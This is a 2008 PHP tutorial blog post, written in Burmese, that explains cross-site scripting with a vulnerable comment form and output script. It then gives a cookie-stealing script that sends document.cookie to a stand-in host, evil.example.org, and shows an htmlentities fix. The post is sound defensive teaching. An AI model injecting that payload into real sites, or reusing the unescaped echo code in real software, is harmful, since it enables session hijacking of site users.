Cross-Site Scripting(XSS)
Last Updated on Monday, 17 November 2008 15:35 Written by Zack Saturday, 15 November 2008 16:24
Web Application ေတြကို စိတ္အေႏွာက္အယွက္ျဖစ္ေအာင္ Attack လုပ္တဲ့ေနရာမွာ Cross-Site Scripting (XSS) လို ့
ေခၚတဲ့နည္း က အသံုး၀င္လွတဲ့နည္းတစ္ခု ျဖစ္ပါတယ္။
မည္သည့္ web application မဆို user ရဲ ့Input data ေတြကို ကိုယ့္ရဲ ့web site မွာ ျပန္ျပၾကတာျဖစ္ပါတယ္။ ဥပမာ ေျပာမယ္ဆိုရင္
Forum, Blog, Comment and Guest Book စတာေတြဟာ user input ေပးတဲ့ Data ကို ျပန္ျပတာျဖစ္ပါတယ္။
Blog ေတြရဲ ့POST ေတြကို Comment ေပးခ်င္တယ္ဆိုရင္ သာမန္အားျဖင့္ ေတာ့ ဒီလို ေရးပါတယ္။
<form action="comment.php" method="POST" />
<p>Name: <input type="text" name="name" /><br />
Comment: <textarea name="comment" rows="10" cols="60"></textarea><br />
<input type="submit" value="Add Comment" /></p>
</form>
comment.php ကေနျပီးေတာ့ user ရဲ ့comment ကို ဒီလို ျပန္ရိုက္ျပပါတယ္။
<?php
echo "<p>$name writes:<br />";
echo "<blockquote>$comment</blockquote></p>";
?>
အဲ့ဒီလို comment ေပးတဲ့ေနရာမွာ user က ဒီလို comment မ်ိဳးေရးလုိက္မယ္ ဆိုရင္ေတာ့ ဒုကၡေရာက္ပါျပီ။
<script>
document.location = 'http://evil.example.org/steal.php?cookies=' + document.cookie
</script>
ဒီ code ေလးဟာေတာ့ ကိုယ့္ရဲ ့ cookies ေတြကို user ဆီကို ပို ့ေပးလိုက္သလိုပါပဲ။ ေျပာမယ္ဆိုရင္ေတာ့ ကိုယ့္ရဲ ့ source code
ထဲကေန user ဆီကို cookies ေတြ sent တဲ့ code ကို ေရးထားတာနဲ ့အတူတူပဲ ျဖစ္ပါတယ္။ ဒီ sample code ထဲမွာ sted.php ကေနျပီး
$_GET[‘cookiesÂ’] ကိုသံုးျပီး သင့္ရဲ ့Cookies ေတြကို ခိုးယူသြားပါလိမ့္မယ္။ သင့္ရဲ ့ cookies ပါသြားျပီဆိုေတာ့ ေသျပီဆရာပါပဲဗ်ာ။
<?php
$clean = array();
$html = array();
/* Filter Input ($name, $comment) */
$html['name'] = htmlentities($clean['name'], ENT_QUOTES, 'UTF-8');
$html['comment'] = htmlentities($clean['comment'], ENT_QUOTES, 'UTF-8');
echo "<p>{$html['name']} writes:<br />";
echo "<blockquote>{$html['comment']}</blockquote></p>";
?>
ဒါေလးကေတာ့ htmlentities function ေလးရဲ ့အလုပ္လုပ္ပံု sample ေလးျဖစ္ပါတယ္။ ဘယ္လို convert လုပ္တယ္ဆိုတာ
သိခ်င္တဲ့ သူမ်ားအတြက္ပါ။
<?php
$str = "A 'quote' is <b>bold</b>";
// Outputs: A 'quote' is <b>bold</b> ဒီလိုမ်ိဳး convert လုပ္ေပးသြား ပါလိမ့္မယ္။
echo htmlentities($str);
?>
ဒါကေတာ့ XSS Injection အေၾကာင္းေတြထဲက တစ္ခုျဖစ္ပါတယ္။
တျခား PHP Post ေတြအားလုံး ကို ႏွစ္သက္ရာ ေရြးဖတ္ ခ်င္တယ္ဆိုရင္ ဒီ Link ေလးကို Click လိုက္ပါ။
| < Prev | Next > |
|---|
Login Form
Latest Post
Categories Table View
- Reader's Conner (133)
- PHP (48)
- Joomla CMS (46)
- Codeigniter (18)
- jQuery (12)
- iDhamma (11)
- Mobile Development (10)
- PHP & AJAX (4)
- Apache (3)
- For Mac (3)
- mySQL (2)
- DhammaDroid (1)